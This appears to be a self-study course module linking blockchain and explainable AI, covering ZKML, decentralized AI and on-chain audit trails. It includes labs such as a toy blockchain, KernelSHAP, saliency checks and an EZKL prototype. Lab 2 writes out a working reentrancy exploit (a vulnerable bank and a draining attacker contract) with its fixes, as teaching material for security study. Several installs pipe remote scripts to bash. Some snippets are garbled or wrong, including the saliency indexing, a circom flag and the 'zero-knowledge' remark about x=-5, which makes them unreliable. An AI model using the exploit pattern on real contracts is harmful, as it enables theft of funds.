

Intersection, Labs & Resources

Verifiable + Decentralized AI · Hands-on Labs · Curated Reading

A research-grade self-study course synthesizing top web courses on Blockchain and Explainable AI.

Author: Venkat Rayudu Alapati **Date:** 2026-05-23 **Pages:** see Table of Contents

Intersection — Verifiable, Explainable, and Decentralized AI

Goal: *This is the research-value module. Where Blockchain meets XAI, several emerging research lines need contributors. A Master's thesis here has unusually high impact-per-effort ratio.*

I.1 Why these two fields converge

Blockchain solves: **verifiability and integrity of computation in adversarial environments**. XAI solves: **understanding and trust of model behavior**.

Together, they tackle the question:

Can we know — and prove — what an AI did, why it did it, and that no one tampered with it?

Three convergence areas:

1. **Verifiable AI** — cryptographic proofs that a model output is correct (ZKML).
 2. **Decentralized AI** — model training/inference distributed and incentivized via tokens.
 3. **Auditable / Explainable AI** — on-chain logs and explanations for regulatory compliance.
-

I.2 ZKML — Zero-Knowledge Machine Learning

The problem

A model owner can prove to a verifier that:

- "This output y is the result of running model M on input x ."

Optionally hiding:

- The model weights (IP protection)
- The input (privacy)
- Both

Why hard

Neural networks use:

- **Floating-point arithmetic** — ZK circuits work over finite fields → quantization required.
- **Non-linear ops** (ReLU, GELU, softmax) — expensive to express in arithmetic constraints.
- **Large parameter counts** — billions of multiplications → billions of constraints.

Active toolchains (2024–2026)

Tool	Approach
EZKL	Halo2 backend, ONNX-friendly. Quantization + lookup-arg optimizations
Modulus Labs (Remainder)	GKR / sum-check for matrix multiplications
Risc Zero zkVM	General-purpose zkVM, run PyTorch in Rust via tract
Giza	StarkNet + Cairo for on-chain inference
DDKang's zkml	Halo2, focused on ResNet-scale
Inference Labs	Production ZK inference SaaS
Worldcoin	Uses semaphores + ZK for proof of personhood

State of the art

- ResNet-50 inference: provable in ~minutes on modern hardware, ~MB proofs.
- Small CNN MNIST: seconds, KB proofs.
- LLMs (>1B parameters): largely impractical end-to-end today; partial proofs possible.

Why it matters for XAI

A ZK proof of *correct inference* is necessary but not sufficient for trust. The next step: **ZK proofs of explanation**. Examples:

- Prove that a SHAP value reported externally was correctly computed from the model.
- Prove that a counterfactual explanation is genuinely the minimum-cost one.
- Prove that an attention-based "reason" was correctly extracted.

This is **mostly open research as of 2026** — there's room for early entrants.

I.3 On-chain machine learning

Approaches

Approach	Trust assumption
Inference off-chain , post proof on-chain	ZK or optimistic
Inference on-chain in a smart contract	High gas; bounded models only
Inference in TEE with attestation	Hardware trust (Intel SGX, AMD SEV)
Inference via MPC	Multiple non-colluding parties
Inference with FHE	Pure cryptography, very expensive

EVM-based on-chain ML (Modulus Labs' Ocean, ORA) typically posts ZK proofs of small models for

verifiable randomness, oracle aggregation, content moderation triggers, etc.

I.4 Decentralized AI infrastructure

Compute marketplaces

Project	Layer
Akash	General Kubernetes compute
Render	GPU rendering + ML inference
io.net	Distributed GPU cluster
Gensyn	Distributed training with verification
Bittensor	Subnet-based incentivized model marketplace
Ritual	AI inference oracle for smart contracts

Trust model varies — some use ZK, some use challenge-response / fraud proofs.

Model marketplaces & reputation

Open problems:

- How do you verify a model's claimed performance?
- How do you reward good models without enabling sybils?
- How do you handle adversarial submissions (model poisoning)?

Bittensor's "Yuma consensus" weights subnet contributions by peer voting — a research-grade mechanism design effort.

I.5 Federated learning + blockchain

Federated learning (FL) trains a model across many devices without centralizing data. Blockchains can:

- Coordinate aggregation rounds.
- Reward participants by stake / contribution.
- Audit updates for poisoning.
- Verify aggregation via ZK / MPC.

Research papers stack: FL + blockchain + differential privacy + XAI.

Trust model: typically a permissioned consortium chain (Hyperledger Fabric, IBC chains). Honest-majority assumption.

I.6 Decentralized identity and AI

Tool	Use
W3C DIDs / Verifiable Credentials	Self-sovereign identity
Soulbound tokens (SBT)	Non-transferable reputation
zkID / Sismo / Worldcoin	Privacy-preserving "uniqueness" proofs
Polygon ID	Selective disclosure of attributes

Why for AI: deepfake / agentic-AI era requires **proof of personhood** to distinguish humans from agents. Worldcoin's iris-scan-based PoP is the most controversial deployment.

I.7 Audit trails: explanations on-chain

For regulatory compliance, you may want:

```
inputs_hash + model_hash + outputs_hash + explanation_hash → on-chain commitment
```

Anyone can later verify the audit trail. Variants:

- **Off-chain explanation, on-chain hash** (cheap, requires data availability).
- **On-chain explanation** (expensive, only for small models or critical decisions).
- **ZK explanation** (prove the explanation was correctly computed without revealing input or model).

Use cases:

- Credit decision explanations stored immutably for regulator audit.
- Healthcare AI outputs with retroactive verifiability.
- Election counting AI with public auditability.

I.8 Adversarial concerns

This intersection inherits **both** fields' attack surfaces:

From blockchain	From XAI
51% attack on verification chain	Adversarial explanations (Slack et al.)
Bridge hacks (cross-chain proofs)	Fairwashing
Oracle manipulation	Manipulated saliency
MEV on inference auctions	CoT unfaithfulness
Smart contract bugs in verifier	Proof-system soundness bugs

New combined risks:

- **Adversarial ZK proofs** — soundness errors in custom circuits.
- **Quantization attacks** — exploit the fp→fixed conversion to skew explanations.
- **Replay of stale model commitments.**
- **Sybil attacks on decentralized model voting.**

I.9 Open research questions

1. **Sub-second ZK proofs of small NN inference + SHAP** — currently minutes; gap is 100x.
2. **Faithful, provable LLM explanations** — combining mech-interp with ZK.
3. **Decentralized model training with verifiable convergence** — beyond FedAvg + Merkle commits.
4. **Privacy-preserving fairness audits** — prove fairness without revealing individual records.
5. **Soulbound reputation for model providers** with non-gameable scoring.
6. **Cross-chain AI oracles** — AI predictions consumed across multiple L1s.
7. **MEV-protected AI inference markets.**
8. **Compliance-grade audit trails** for EU AI Act, with ZK for trade-secret protection.
9. **On-chain explanation registries** that survive model versioning.
10. **Watermarking AI outputs** with blockchain-anchored provenance (deepfake defense).

I.10 Sample research project (Master's-scale)

Title: "Verifiable Feature Attribution for Black-Box Inference: A ZK-SHAP Prototype"

Plan:

1. Train a small (1–5M param) tabular model.
2. Implement KernelSHAP in a ZK-friendly form (fixed-point, batch evaluation).
3. Compile to EZKL / Risc Zero.
4. Generate proofs for ~10 test inputs; measure proof size, prover time, verifier gas.
5. Test soundness via adversarial model (Slack attack adapted) — does the proof catch it?
6. Write up as a workshop paper (target: AFT, IEEE Blockchain, BlackBoxNLP, or zkProof workshop).

This is a clean, novel intersection topic with a 3–6 month timeline.

I.11 Reading list

- Kang, Hashimoto, Stoica, Sun — *zkML and verifiable inference* (various 2023–2024 papers).
- Lee, Kang, Lee, Boneh — *EZKL and Halo2 ZK Inference*, 2023.
- Feng, Yan, Zhao, Lai, Lin — *Cerberus: ZK-SNARK-based Verifiable ML Inference*, 2021.
- Liu, Xie, Zhang — *zkCNN: Zero-Knowledge Proofs for Convolutional Neural Networks*, CCS 2021.
- Modulus Labs — *Cost of Intelligence* benchmark.
- Bittensor whitepaper.
- McMahan et al. — *Communication-Efficient Learning of Deep Networks from Decentralized Data (FedAvg)*, AISTATS 2017.

- Bonawitz et al. — *Practical Secure Aggregation for Privacy-Preserving ML*, CCS 2017.
- Karimi et al. — *Verifiable Federated Learning via ZK proofs*, various 2023.
- W3C — *DID Specification; Verifiable Credentials Data Model*.
- *EU AI Act* — Articles on high-risk systems and transparency.

I.12 Lab (5 hrs)

1. Install EZKL.
2. Train a 2-layer MLP on MNIST in PyTorch; export to ONNX.
3. Run `ezkl gen-settings, compile-circuit, setup, gen-witness, prove, verify`.
4. Time the proving step; measure proof size.
5. Compute a SHAP explanation off-chain; commit its hash on Sepolia.

I.13 Quiz

1. Why are ReLU and softmax expensive in ZK circuits?
2. State three trust models for on-chain ML.
3. How would you prove "this SHAP value was correctly computed" without revealing the model?
4. Why does Bittensor's Yuma consensus need a mechanism-design contribution to remain non-gameable?
5. Pick one of the 10 open research questions and write a 3-sentence research plan.

Hands-On Labs

Six structured labs that take you from beginner to research-ready. Each lab targets ~4–8 hours of work and has a concrete deliverable.

#	Title	Tracks	Time	Deliverable
1	Build a toy blockchain in Python	Blockchain	4 hrs	Working 5-block chain with Merkle proofs
2	Reentrancy attack reproduction	Blockchain / security	3 hrs	Foundry exploit + fix
3	Your first ZK circuit	Blockchain / ZK	4 hrs	Verified Sepolia tx
4	SHAP from scratch	XAI	4 hrs	KernelSHAP implementation + validation
5	Saliency methods + sanity checks	XAI	4 hrs	Table comparing 4 methods
6	zkML prototype	Intersection	8 hrs	EZKL proof of small NN inference

See `lab_1.md` ... `lab_6.md` for full instructions.

Lab philosophy

Each lab follows the **plan** → **build** → **verify** → **write** loop:

1. **Plan** — write down what you'll do in 5 lines before opening an editor.
2. **Build** — minimum viable code.
3. **Verify** — explicit test or assertion that the lab worked.
4. **Write** — a half-page journal entry: what surprised you, what you'd improve.

The writing step is where you build the research intuition. Don't skip it.

Lab 1 — Build a Toy Blockchain in Python

Goal: implement, from scratch, the smallest blockchain that demonstrates hashing, signing, Merkle roots, and tamper detection.

Time: ~4 hours.

Prereqs: Python 3.10+, hashlib, ecdsa (pip install ecdsa).

Step 1 — Wallet

```
from ecdsa import SigningKey, SECP256k1
import hashlib, json

class Wallet:
    def __init__(self):
        self.sk = SigningKey.generate(curve=SECP256k1)
        self.vk = self.sk.get_verifying_key()
        self.pubkey = self.vk.to_string().hex()
        self.address = hashlib.sha256(self.pubkey.encode()).hexdigest()[:40]

    def sign(self, msg: bytes) -> bytes:
        return self.sk.sign(msg)

    def verify(self, msg: bytes, sig: bytes) -> bool:
        try:
            return self.vk.verify(sig, msg)
        except: return False
```

Step 2 — Transaction

```
class Transaction:
    def __init__(self, sender_pub, recipient_addr, amount, signature=None):
        self.sender_pub = sender_pub
        self.recipient_addr = recipient_addr
        self.amount = amount
        self.signature = signature

    def payload(self) -> bytes:
        return json.dumps({
            "from": self.sender_pub, "to": self.recipient_addr, "amt": self.amount
        }, sort_keys=True).encode()

    def is_valid(self) -> bool:
        from ecdsa import VerifyingKey
        vk = VerifyingKey.from_string(bytes.fromhex(self.sender_pub), curve=SECP256k1)
        try: return vk.verify(self.signature, self.payload())
        except: return False
```

Step 3 — Merkle root

```
def merkle_root(tx_hashes):
    if not tx_hashes: return b"\0" * 32
    layer = tx_hashes[:]
    while len(layer) > 1:
        if len(layer) % 2: layer.append(layer[-1])
        layer = [hashlib.sha256(layer[i] + layer[i+1]).digest()
                  for i in range(0, len(layer), 2)]
    return layer[0]
```

Step 4 — Block

```
import time
class Block:
    def __init__(self, prev_hash, txs, nonce=0):
        self.prev_hash = prev_hash
        self.txs = txs
        self.timestamp = int(time.time())
        self.nonce = nonce
        tx_hashes = [hashlib.sha256(tx.payload()).digest() for tx in txs]
        self.merkle = merkle_root(tx_hashes)

    def header(self) -> bytes:
        return self.prev_hash + self.merkle + self.timestamp.to_bytes(8, "big") + self.nonce.to_bytes(4, "big")

    def hash(self) -> bytes:
        return hashlib.sha256(self.header()).digest()
```

Step 5 — Chain + verification

```
class Chain:
    def __init__(self):
        self.blocks = [Block(b"\0"*32, [])] # genesis

    def add(self, txs):
        prev = self.blocks[-1].hash()
        block = Block(prev, txs)
        self.blocks.append(block)

    def verify(self) -> bool:
        for i in range(1, len(self.blocks)):
            if self.blocks[i].prev_hash != self.blocks[i-1].hash():
                return False
            for tx in self.blocks[i].txs:
                if not tx.is_valid(): return False
        return True
```

Step 6 — Tamper detection demo

```
alice, bob = Wallet(), Wallet()
chain = Chain()
for i in range(5):
    tx = Transaction(alice.pubkey, bob.address, i)
    tx.signature = alice.sign(tx.payload())
    chain.add([tx])

assert chain.verify()
print("chain valid")

# tamper:
chain.blocks[2].txs[0].amount = 999
print("after tamper:", chain.verify()) # False
```

Deliverable

- `toy_chain.py` — ~150 lines.
- A printed demo showing valid chain → tampering → invalid chain.
- A 1-paragraph reflection: which property does this demonstrate (integrity / authentication / tamper-evidence)?

Stretch

- Add Proof-of-Work: block header must hash below a target.
- Add longest-chain rule for fork resolution.
- Add a tiny P2P layer with `asyncio`.

Lab 2 — Reentrancy Attack Reproduction

Goal: write a vulnerable Solidity contract, exploit it with an attacker contract, then fix using the checks-effects-interactions pattern.

Time: ~3 hours.

Prereqs: install Foundry (`curl -L https://foundry.paradigm.xyz | bash; foundryup`).

Setup

```
forge init reentrancy-lab
cd reentrancy-lab
```

Step 1 — Vulnerable bank

src/Bank.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "no balance");
        (bool ok,) = msg.sender.call{value: bal}("");
        require(ok, "transfer failed");
        balances[msg.sender] = 0; // updated AFTER call ← vulnerability
    }

    receive() external payable {}
}
```

Step 2 — Attacker

src/Attacker.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
```

```

import "./Bank.sol";

contract Attacker {
    VulnerableBank public bank;
    address public owner;

    constructor(address _bank) {
        bank = VulnerableBank(payable(_bank));
        owner = msg.sender;
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "need 1 ETH");
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    receive() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw();
        }
    }

    function collect() external {
        require(msg.sender == owner);
        payable(owner).transfer(address(this).balance);
    }
}

```

Step 3 — Test the attack

test/Reentrancy.t.sol:

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/Bank.sol";
import "../src/Attacker.sol";

contract ReentrancyTest is Test {
    VulnerableBank bank;
    Attacker attacker;
    address alice = address(0xA);
    address bob   = address(0xB);

    function setUp() public {
        bank = new VulnerableBank();
        vm.deal(alice, 5 ether);
        vm.deal(bob, 1 ether);

        vm.prank(alice);
        bank.deposit{value: 5 ether}();

        vm.prank(bob);
        attacker = new Attacker(address(bank));
    }
}

```

```

    }

    function testAttackDrainsBank() public {
        assertEq(address(bank).balance, 5 ether);
        vm.prank(bob);
        attacker.attack{value: 1 ether}();
        // Bank should be drained; attacker should hold ~6 ETH
        assertEq(address(bank).balance, 0);
        assertGe(address(attacker).balance, 5 ether);
    }
}

```

Run:

```
forge test -vvv
```

You should see the attacker drain Alice's 5 ETH + their own deposit.

Step 4 — Fix with checks-effects-interactions

```

function withdraw() external {
    uint256 bal = balances[msg.sender];
    require(bal > 0, "no balance");
    balances[msg.sender] = 0;           // effect FIRST
    (bool ok,) = msg.sender.call{value: bal}("");
    require(ok, "transfer failed");
}

```

Re-run tests. The drain should fail. Add a passing test that proves the bank is no longer drainable:

```

function testAttackFails() public {
    vm.prank(bob);
    vm.expectRevert();
    attacker.attack{value: 1 ether}();
    assertEq(address(bank).balance, 5 ether);
}

```

Step 5 — Alternative fix: ReentrancyGuard

Use OpenZeppelin's mutex:

```

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    // ...
    function withdraw() external nonReentrant { ... }
}

```

Discuss in your journal:

- Which fix is cheaper in gas?
 - Which fix protects against **cross-function** reentrancy?
-

Deliverable

- `src/Bank.sol`, `src/Attacker.sol`, `test/Reentrancy.t.sol` (both attack-succeeds and attack-fails tests).
- A 1-page postmortem explaining the bug class and listing 2 other real-world incidents where it appeared (e.g., DAO 2016, Curve July 2023, dForce, Cream).

Stretch

- Modify the bank to use `transfer()` (which forwards 2300 gas). Does it still get drained? Discuss why `transfer()` is no longer recommended (post-Istanbul gas changes).
- Add an invariant test: `bank balance >= sum(balances)`. Run `forge test --invariant`.

Lab 3 — Your First ZK Circuit

Goal: write, compile, and verify a Circom-based zk-SNARK that proves "I know x such that $x * x = 25$ " without revealing x . Then deploy the verifier to Sepolia.

Time: ~4 hours.

Prereqs:

```
npm i -g circom snarkjs
```

You'll also need Node 18+, a funded Sepolia address (~0.05 ETH), and a wallet (Metamask or Foundry's cast).

Step 1 — The circuit

square.circom:

```
pragma circom 2.1.4;

template Square() {
    signal input x;          // private witness
    signal input y;          // public input
    signal product;

    product <== x * x;
    y === product;
}

component main { public [y] } = Square();
```

Compile:

```
circom square.circom --rlcs --wasm --sym
```

Step 2 — Trusted setup (Powers of Tau + Groth16)

```
snarkjs powersoftau new bn128 12 pot12_0000.ptau -v
snarkjs powersoftau contribute pot12_0000.ptau pot12_0001.ptau --name="me" -v
snarkjs powersoftau prepare phase2 pot12_0001.ptau pot12_final.ptau -v
snarkjs groth16 setup square.rlcs pot12_final.ptau square_0000.zkey
snarkjs zkey contribute square_0000.zkey square_final.zkey --name="me" -v
snarkjs zkey export verificationkey square_final.zkey verification_key.json
```


Step 3 — Generate witness + proof

input.json:

```
{ "x": 5, "y": 25 }
```

```
node square_js/generate_witness.js square_js/square.wasm input.json witness.wtns
snarkjs groth16 prove square_final.zkey witness.wtns proof.json public.json
snarkjs groth16 verify verification_key.json public.json proof.json
```

You should see OK!.

Now try with { "x": -5, "y": 25 } (sign flips in the field). Still verifies — that's the zero-knowledge point: from $y=25$, the verifier can't tell whether $x=5$ or $x=-5$.

Step 4 — Solidity verifier

```
snarkjs zkey export solidityverifier square_final.zkey Verifier.sol
snarkjs zkey export soliditycalldata public.json proof.json
```

Copy the resulting calldata. Deploy Verifier.sol to Sepolia via Foundry:

```
forge create Verifier.sol:Groth16Verifier --rpc-url $SEPOLIA_RPC --private-key $PK
```

Call verifyProof() via cast:

```
cast call $VERIFIER "verifyProof(uint256[2],uint256[2][2],uint256[2],uint256[1]) (bool) "
    $PI_A_HEX $PI_B_HEX $PI_C_HEX $PUBLIC_INPUTS --rpc-url $SEPOLIA_RPC
```

Returns true.

Step 5 — Reflect

In your journal:

- Why does this construction reveal y but not x ?
- How would you extend it to prove "I know (p, q) such that $p \cdot q = n$ without revealing the factors"? (Hint: factoring is a one-way function — this is the kind of statement RSA-based ZK proofs use.)
- What does it cost in Sepolia gas to verify?

Deliverable

- square.circom, proof.json, public.json, Verifier.sol.
- Sepolia tx hash of the successful verifyProof() call.

- 1-page journal entry.

Stretch

1. Replace Groth16 with PLONK:

```
snarkjs plonk setup square.r1cs pot12_final.ptau square_plonk.zkey
snarkjs plonk prove square_plonk.zkey witness.wtns proof.json public.json
```

Compare proof sizes and verifier gas.

1. Build a Merkle-inclusion circuit using `circomlib`'s Poseidon hash. Prove that "I know a leaf and its path that produces this Merkle root" — the building block of Tornado Cash, zk identity, and rollups.

Lab 4 — Implement SHAP from Scratch

Goal: build a working KernelSHAP in ~80 lines, validate it against the `shap` library, and explore where it disagrees with LIME.

Time: ~4 hours.

Prereqs: `pip install numpy scikit-learn xgboost shap lime matplotlib`.

Step 1 — Train a model

```
from sklearn.datasets import load_breast_cancer
from sklearn.model_selection import train_test_split
import xgboost as xgb

X, y = load_breast_cancer(return_X_y=True, as_frame=True)
Xtr, Xte, ytr, yte = train_test_split(X, y, test_size=0.2, random_state=42)

clf = xgb.XGBClassifier(n_estimators=200, max_depth=4)
clf.fit(Xtr, ytr)
print("test acc:", clf.score(Xte, yte))
```

Step 2 — KernelSHAP from scratch

```
import numpy as np
from itertools import combinations
from math import comb

def kernel_weight(M, s):
    if s == 0 or s == M: return 1e9
    return (M - 1) / (comb(M, s) * s * (M - s))

def kernel_shap(predict_fn, x, background, num_samples=2000, seed=0):
    """
    predict_fn:  function taking 2D array -> 1D probas
    x:           single instance (1D array of length M)
    background:  reference data (2D array)
    """
    rng = np.random.default_rng(seed)
    M = len(x)
    base = predict_fn(background).mean()

    Z = []    # coalition masks
    f = []    # model output on masked instance
    w = []    # kernel weights

    for _ in range(num_samples):
        # sample a binary mask
        z = rng.integers(0, 2, M)
```

```

        # build masked input: features in coalition = x, else = mean of background
        x_in = np.where(z, x, background.mean(0))
        Z.append(z)
        f.append(predict_fn(x_in.reshape(1, -1))[0])
        w.append(kernel_weight(M, z.sum()))

Z = np.array(Z)
f = np.array(f) - base    # center
w = np.array(w)

# Weighted linear regression:  $f \approx Z @ \phi$  (no intercept; centered)
W = np.diag(w)
A = Z.T @ W @ Z
b = Z.T @ W @ f
phi = np.linalg.lstsq(A, b, rcond=None)[0]
return phi, base

```

Step 3 — Validate against the SHAP library

```

import shap

x = Xte.iloc[0].values
background = Xtr.values[:100]
predict = lambda X: clf.predict_proba(X)[:, 1]

phi_mine, base_mine = kernel_shap(predict, x, background, num_samples=4000)

explainer = shap.KernelExplainer(predict, background)
phi_shap = explainer.shap_values(x, nsamples=4000)

# Compare
import pandas as pd
cmp = pd.DataFrame({
    "feature": Xte.columns,
    "mine": phi_mine,
    "shap": phi_shap,
    "diff": phi_mine - phi_shap
}).sort_values("shap", key=abs, ascending=False).head(10)
print(cmp)

```

The two columns should match to within ~10% on most features. Larger samples → tighter match.

Step 4 — Compare with LIME

```

from lime.lime_tabular import LimeTabularExplainer

lime_exp = LimeTabularExplainer(
    Xtr.values, feature_names=Xtr.columns.tolist(),
    class_names=["malignant", "benign"], mode="classification")

exp = lime_exp.explain_instance(x, clf.predict_proba, num_features=10)
for f, w in exp.as_list():
    print(f, round(w, 4))

```

Compare LIME's top features with SHAP's. They often disagree; that's the **disagreement problem**.

Step 5 — Visualize

```
import matplotlib.pyplot as plt

idx = np.argsort(np.abs(phi_mine))[:, :-1][:10]
plt.barh(range(10), phi_mine[idx][:, :-1])
plt.yticks(range(10), [Xte.columns[i] for i in idx][:, :-1])
plt.title("My SHAP values for one prediction")
plt.tight_layout()
plt.savefig("my_shap.png")
```

Deliverable

- `kernel_shap.py` (~80 lines).
- A table comparing your top-10 features to the SHAP library + LIME.
- A 1-paragraph reflection on (a) why your KernelSHAP isn't exact, (b) where you observed disagreement with LIME.

Stretch

- Implement **TreeSHAP** (much harder; consult the original paper).
- Implement **DeepSHAP** for a small neural net on the same data.
- Compute the **Shapley interaction index** for the top-2 features.
- Apply your KernelSHAP to a tiny PyTorch model and compare against `shap.GradientExplainer`.

Lab 5 — Saliency Methods + Sanity Checks

Goal: implement vanilla saliency, SmoothGrad, Integrated Gradients, and Grad-CAM on a pretrained ResNet-50. Then run Adebayo's sanity checks. Discover which methods are faithful and which are decorative.

Time: ~4 hours.

Prereqs:

```
pip install torch torchvision matplotlib pillow opencv-python
```

Step 1 — Setup

```
import torch, torchvision
from torchvision.models import resnet50, ResNet50_Weights
from PIL import Image
from torchvision import transforms
import numpy as np, matplotlib.pyplot as plt

weights = ResNet50_Weights.IMAGENET1K_V2
model = resnet50(weights=weights).eval()
preprocess = weights.transforms()

img = Image.open("cat.jpg").convert("RGB")
x = preprocess(img).unsqueeze(0)
logits = model(x)
pred = logits.argmax(1).item()
print("predicted:", weights.meta["categories"][pred])
```

(Any ImageNet-class image works.)

Step 2 — Vanilla saliency

```
def saliency(model, x, class_idx):
    x = x.clone().requires_grad_(True)
    out = model(x)
    out[0, class_idx].backward()
    return x.grad.abs().max(1)[0][0].numpy() # H x W
```

Step 3 — SmoothGrad

```
def smoothgrad(model, x, class_idx, n=30, sigma=0.15):
    grads = []
```

```

for _ in range(n):
    noise = torch.randn_like(x) * sigma
    x_noisy = (x + noise).clone().requires_grad_(True)
    out = model(x_noisy)
    out[0, class_idx].backward()
    grads.append(x_noisy.grad.abs().max(1)[0][0].numpy())
return np.mean(grads, axis=0)

```

Step 4 — Integrated Gradients

```

def integrated_gradients(model, x, class_idx, steps=50, baseline=None):
    if baseline is None: baseline = torch.zeros_like(x)
    alphas = torch.linspace(0, 1, steps).view(-1, 1, 1, 1)
    interps = baseline + alphas * (x - baseline) # steps x C x H x W
    interps.requires_grad_(True)
    out = model(interps)
    g = torch.autograd.grad(out[:, class_idx].sum(), interps)[0] # steps x C x H x W
    avg = g.mean(0, keepdim=True)
    ig = (x - baseline) * avg
    return ig.abs().max(1)[0][0].numpy()

```

Step 5 — Grad-CAM

```

def grad_cam(model, x, class_idx, target_layer):
    features, grads = [], []
    def fhook(_m, _i, o): features.append(o)
    def bhook(_m, _gi, go): grads.append(go[0])
    fh = target_layer.register_forward_hook(fhook)
    bh = target_layer.register_full_backward_hook(bhook)

    out = model(x)
    model.zero_grad()
    out[0, class_idx].backward()
    fh.remove(); bh.remove()

    A = features[0][0] # C x h x w
    grad = grads[0][0] # C x h x w
    weights = grad.mean(dim=(1, 2)) # C
    cam = torch.relu((weights[:, None, None] * A).sum(0)).cpu().numpy()
    cam = cam / (cam.max() + 1e-9)
    return cam

# Target layer for ResNet-50: layer4
cam = grad_cam(model, x, pred, model.layer4[-1])

```

Step 6 — Visualize all four

```

maps = {
    "saliency": saliency(model, x, pred),
    "smoothgrad": smoothgrad(model, x, pred),

```

```

    "ig": integrated_gradients(model, x, pred),
    "gradcam": cam,
}
fig, axs = plt.subplots(1, 5, figsize=(20, 4))
axs[0].imshow(img); axs[0].set_title("input")
for ax, (name, m) in zip(axs[1:], maps.items()):
    ax.imshow(m, cmap="hot"); ax.set_title(name)
plt.savefig("saliency_compare.png")

```

Step 7 — Adebayo sanity check: model randomization

```

def randomize_top_layers(model, layers_to_randomize):
    """Re-initialize the named layers."""
    import copy
    m = copy.deepcopy(model)
    for n, p in m.named_parameters():
        if any(layer in n for layer in layers_to_randomize):
            torch.nn.init.normal_(p) if p.dim() > 1 else torch.nn.init.zeros_(p)
    return m.eval()

m_rand = randomize_top_layers(model, ["fc", "layer4"])

cam_rand = grad_cam(m_rand, x, pred, m_rand.layer4[-1])
ig_rand = integrated_gradients(m_rand, x, pred)

# Plot side-by-side: original vs randomized
# A faithful method should produce very different maps.

```

Compute the **structural similarity (SSIM)** between the original and randomized maps:

```

from skimage.metrics import structural_similarity as ssim
print("Grad-CAM SSIM:", ssim(maps["gradcam"], cam_rand, data_range=cam_rand.max()-cam_ra
print("IG SSIM:", ssim(maps["ig"], ig_rand, data_range=ig_rand.max()-ig_rand.min()))

```

Higher SSIM = less change = less faithful. (Adebayo et al. report Guided BP / Guided Grad-CAM as high-SSIM = failing.)

Step 8 — Build the comparison table

Method	Visual quality	SSIM (lower=better)	Notes
Vanilla saliency	noisy	low	passes
SmoothGrad	cleaner	low	passes
Integrated Gradients	cleanest	low	passes axiomatically
Grad-CAM	smooth, low-res	medium	passes class-discriminative test

(Numbers will depend on your specific image.)

Deliverable

- `saliency_methods.py` (~150 lines).
- `saliency_compare.png` and `saliency_sanity.png`.
- A markdown table summarizing visual quality, SSIM, and your judgment of faithfulness.

Stretch

- Implement **Guided Backprop** and **Guided Grad-CAM**. Run the sanity check. Confirm they fail.
- Add a **data randomization** test: train a small CNN on permuted CIFAR-10 labels, compare saliency to the correctly-trained model.
- Use the `quantus` library to compute faithfulness, sensitivity, and stability metrics.

--	--	--	--

Lab 6 — zkML Prototype with EZKL

Goal: prove (in zero-knowledge) that a small neural network's MNIST inference was performed correctly. Then commit the explanation hash on-chain.

Time: ~8 hours (most of it is one-time setup and proving wait).

Prereqs:

```
pip install torch torchvision ezkl onnx onnxruntime
```

EZKL must be installed natively:

```
curl https://raw.githubusercontent.com/zkonduit/ezkl/main/install_ezkl_cli.sh | bash
```

Step 1 — Train a tiny MLP

```
import torch, torch.nn as nn
from torchvision import datasets, transforms
from torch.utils.data import DataLoader

tx = transforms.Compose([transforms.ToTensor(), transforms.Lambda(lambda x: x.view(-1))])
tr = DataLoader(datasets.MNIST(".", train=True, download=True, transform=tx), batch_size=100)

class Net(nn.Module):
    def __init__(self):
        super().__init__()
        self.fc1 = nn.Linear(784, 32)
        self.fc2 = nn.Linear(32, 10)
    def forward(self, x):
        return self.fc2(torch.relu(self.fc1(x)))

net = Net()
opt = torch.optim.Adam(net.parameters(), 1e-3)
loss_fn = nn.CrossEntropyLoss()

for epoch in range(2):
    for x, y in tr:
        opt.zero_grad()
        loss = loss_fn(net(x), y)
        loss.backward()
        opt.step()

torch.save(net.state_dict(), "net.pt")
```

Step 2 — Export to ONNX

```
sample = torch.randn(1, 784)
torch.onnx.export(net, sample, "net.onnx",
                  input_names=["input"], output_names=["output"],
                  dynamic_axes={"input": {0: "batch"}, "output": {0: "batch"}},
                  opset_version=13)
```

Verify with onnxruntime:

```
import onnxruntime as ort
sess = ort.InferenceSession("net.onnx")
print(sess.run(None, {"input": sample.numpy()})[0])
```

Step 3 — EZKL pipeline

Create `input.json` with one MNIST sample (flattened, normalized to [0,1]):

```
import json
from torchvision import datasets
dset = datasets.MNIST(".", train=False, download=True, transform=transforms.ToTensor())
x, y = dset[0]
x_flat = x.view(-1).tolist()
json.dump({"input_data": [x_flat]}, open("input.json", "w"))
```

Then run EZKL:

```
ezkl gen-settings -M net.onnx -O settings.json
ezkl calibrate-settings -M net.onnx -D input.json -O settings.json --target=resources
ezkl compile-circuit -M net.onnx --compiled-circuit net.compiled -S settings.json
ezkl get-srs -S settings.json
ezkl setup -M net.compiled --vk-path vk.key --pk-path pk.key
ezkl gen-witness -D input.json -M net.compiled --witness witness.json
ezkl prove --witness witness.json -M net.compiled --pk-path pk.key --proof-path proof.js
ezkl verify --proof-path proof.json --vk-path vk.key -S settings.json
```

Last line should print `verified: true`.

Step 4 — Measure

```
ls -lh proof.json      # proof size (KB)
time ezkl prove ...    # prover time
```

Typical for this tiny network: a few hundred KB proof, tens of seconds prover time on a laptop.

Step 5 — On-chain verifier

Generate Solidity verifier:

```
ezkl create-evm-verifier -S settings.json --vk-path vk.key --sol-code-path Verifier.sol
```

Deploy with Foundry:

```
forge create Verifier.sol:Halo2Verifier --rpc-url $SEPOLIA_RPC --private-key $PK
```

Call `verifyProof()` with the proof bytes. Record the gas cost.

Step 6 — Commit explanation hash

Compute SHAP for the same input off-chain:

```
import shap, torch, numpy as np
background = torch.randn(50, 784)
explainer = shap.DeepExplainer(net, background)
phi = explainer.shap_values(torch.tensor(x_flat).unsqueeze(0))
```

Hash the explanation:

```
import hashlib
phi_bytes = np.array(phi).tobytes()
explanation_hash = hashlib.sha256(phi_bytes).hexdigest()
```

Commit on Sepolia in a one-off contract:

```
contract Registry {
    event Committed(bytes32 inputHash, bytes32 modelHash, bytes32 explanationHash);
